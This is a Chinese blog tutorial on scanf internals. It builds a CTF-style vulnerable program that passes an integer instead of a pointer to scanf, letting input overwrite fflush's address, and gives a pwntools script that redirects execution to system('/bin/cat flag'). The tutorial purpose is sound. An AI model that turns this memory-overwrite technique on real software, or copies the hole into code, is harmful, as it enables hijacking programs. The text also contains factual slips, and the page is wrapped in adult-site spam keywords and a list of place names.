无码av一区二区三区无码,在线观看老湿视频福利,日韩经典三级片,成 人色 网 站 欧美大片在线观看

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

scanf深入分析

2020-06-26 00:26 作者:無情劍客Burning  | 我要投稿

概述

scanf()是C語言中的一個輸出函數(shù)。與printf函數(shù)一樣,都被聲明在頭文件stdio.h里,因此在使用scanf函數(shù)時要加上#include 。(在有一些實現(xiàn)中,printf函數(shù)與scanf函數(shù)在使用時可以不使用預編譯命令#include 。)它是格式輸入函數(shù),即按用戶指定的格式從鍵盤上把數(shù)據(jù)輸入到指定的變量之中。

定義

  1. int scanf(const char * restrict format,...);

函數(shù) scanf() 是從標準輸入流stdin (標準輸入設備,一般指向鍵盤)中讀內(nèi)容的通用子程序,可以說明的格式讀入多個字符,并保存在對應地址的變量中。 函數(shù)的第一個參數(shù)是格式字符串,它指定了輸入的格式,并按照格式說明符解析輸入對應位置的信息并存儲于可變參數(shù)列表中對應的指針所指位置。每一個指針要求非空,并且與字符串中的格式符一一順次對應。

匯編分析

示例程序(正確寫法):

  1. #include <stdio.h>

  2. int ?main(){

  3. ? ?int a;

  4. ? ?scanf("%d",&a);

  5. ? ?printf("%x\n",&a);

  6. ? ?printf("%d\n",a);

  7. ? ?return 0;

  8. }

反匯編查看scanf

從匯編代碼中可以看出來這里是把a的地址壓入棧中。 漏洞程序(經(jīng)典的錯誤寫法):

  1. #include <stdio.h>

  2. #include <stdlib.h>


  3. int main(){

  4. ? ?int a ?= 0x0804a010;

  5. ? ?scanf("%d",a);

  6. ? ?fflush(stdin);

  7. ? ?printf("Login OK!n");

  8. ? ?system("/bin/cat flag");

  9. ? ?return 0;

  10. }

a的值0x0804a010是fflush的地址。反匯編查看scanf

這里是把a的值壓入棧中。由于a的值沒有進行初始化,是一個隨機的值。也就是這個壓入堆棧的值是一個隨機的,由于很多地址是無法寫入的,因此很容易導致程序崩潰。

攻擊代碼

  1. #-*- coding: UTF-8 -*-

  2. #!/usr/bin/python

  3. from pwn import *

  4. p= process('./test')

  5. system_addr = 0x0804857d

  6. payload = p32(system_addr)

  7. p.send(payload)

  8. p.interactive()

運行結(jié)果如下

flag的內(nèi)容我們成功查看到了,也就是system("/bin/cat flag")被成功執(zhí)行了。

公眾號

微信公眾號:無情劍客



scanf深入分析的評論 (共 條)

分享到微博請遵守國家法律
定襄县| 稷山县| 时尚| 康乐县| 手机| 石嘴山市| 太白县| 高雄县| 西宁市| 个旧市| 崇州市| 湛江市| 永兴县| 枝江市| 鱼台县| 茶陵县| 开封县| 巴彦县| 介休市| 南木林县| 华容县| 五大连池市| 荆门市| 临海市| 辛集市| 昆明市| 怀宁县| 东城区| 隆安县| 四子王旗| 晴隆县| 临猗县| 虎林市| 林芝县| 林甸县| 五大连池市| 乌兰浩特市| 贺州市| 江达县| 通州区| 定远县|